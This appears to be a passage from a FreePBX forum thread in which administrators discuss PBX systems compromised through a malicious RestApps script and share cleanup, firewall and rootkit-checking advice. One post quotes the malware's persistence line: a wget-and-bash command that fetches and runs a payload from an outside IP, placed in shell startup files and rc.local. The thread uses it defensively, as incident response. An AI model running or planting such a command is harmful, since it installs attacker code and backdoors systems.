K.php - a RestApps malicious script

FreePBX Security
41

I believe there are layers of hacks going on here. Maybe the first ones were “clever” but the next several rounds just seem to be finding already-compromised PBXes and piling on their malware.

The systems I discovered to be infected were still early in the process and only had a small amount of the aforementioned crapware loaded; someone later requested my help on another system and I found it to be much more loaded up.

So my impression is the longer you let a system sit compromised and exposed, the worse it’s going to get, and the list of clean-up items is going to get longer (just give up and rebuild).

4 Likes
42

I wrote that code… We only look at INPUT chain.
But enabling custom rules stops the check.

43

I concur, give up, rebuild but before you do anything else add a well configured ‘root-kit checker’ that includes /var/www/html/admin /var/lib/asterisk/ /home/asterisk . (the other places will likely be already in that RK checker).

2 Likes
44

I do see that.

Needing a stopper in an OUTPUT chain would presume acquiescence of a possible continuing compromise, but if the fix is ‘proper’. it is should not be needed :slight_smile:

45

I put everything behind the firewall hw and left only openvpn open. I hope it’s enough.
I propose to create a script on github for the diagnosis and cleaning of the installations. So too we victims can have our say.

@dicko which rootkit do you recommend?

46

He said root-kit checker. That is something that detects root kits.

47

Agreed, it was just a quick stop for the current iteration and unlikely to cause any issues with the function of FPBX.

48

So applying this rule to iptables manually breaks FPBX functionality?

49

@dicko With regards to rootkit checkers are you suggesting this is something that FPBX should include in their distro or saying admins should add it manually (which, of course, if not included in the distro…)

Further, do you have one you recommend?

50
1 Like
51

thanks @kdhismgr missed that in the thread…

Has anyone run this or any other rootkit checker on a known compromised system? Was the compromise detected?

52

The opposite. The firewall doesn’t care about invading rules in the OUTPUT chain. And even if it did, just enable custom rules and the check is disabled.

53

thanks i had seen @dicko comment but i was surprised that it looks updated to 2018.

54

Adding to this, in the .bashrc, .bash_profile, /etc/rc.local remove the line

(setsid wget "http://37.49.230.74/serv/?src=<<your_ip>> -O /var/spool/asterisk/tmp/serv 2>/dev/null >/dev/null; bash /var/spool/asterisk/tmp/serv 2>/dev/null > /dev/null & ) 2>&1

Remove the last 2 lines from /etc/rc.d/rc.local

touch /var/lock/subsys/local
(setsid wget "http://37.49.230.74/serv/?src=<<your_ip>>" -O /var/spool/asterisk/tmp/serv 2>/dev/null >/dev/null; bash /var/spool/asterisk/tmp/serv 2>/dev/null > /dev/null & ) 2>&1

and remove the files:

/var/spool/asterisk/tmp/serv
/var/spool/asterisk/tmp/k
/var/spool/asterisk/tmp/bd
/var/lib/asterisk/bin/devnull

I suspect /etc/httpd/conf.d/schmoozecom.conf might have been edited to allow restapps to serve zip files and to execute some php pages.

Suspect file: /var/www/html/admin/api/api.php

And there might be more once you go through all the base64 encoded stuff.
Editing this post as I find more!

3 Likes
55

Yes look at all the base64 stuff (it does a lot more than you will see on ‘first blush’ and in a lot more places you are not covering . . . :wink: )

56

A quick script that is untested but should generally work
This changes all (pj)sip secrets. You will want to apply config after and regenerate any provisioning files. This does not give any form of feedback so to get the new secrets you will have to get them from the database or by going to each extension.

This does NOT touch trunks. You want to regenerate credentials with your sip provider
All devices will 401 after running this and reloading if they try to re-register with the old credentials.
THIS MAY TRIGGER FAIL2BAN!

Should go without saying but:

  • Use on a system that has been cleaned of the hacked code
  • This comes without any form of support or warranty
  • Aliens might be real
1 Like
57

Good start, thanks.

but note bene

  • Use on a system that has been cleaned of the hacked code

(fully . . . or it will come back)

I would ensure that your /tmp filesystem is truly ephemeral and that you restart the system for good measure. . .

58

It is such a mess a reinstall is in order.

59

I just installed a clean system and /etc/rc.d/rc.local has the line

touch /var/lock/subsys/local

60

Something else. Seems like all my systems that were infected have settings > asterisk sip settings > general sip setting: Allow SIP Guests = On.

Correct me if I’m wrong but I’m pretty sure this is off by default and should be.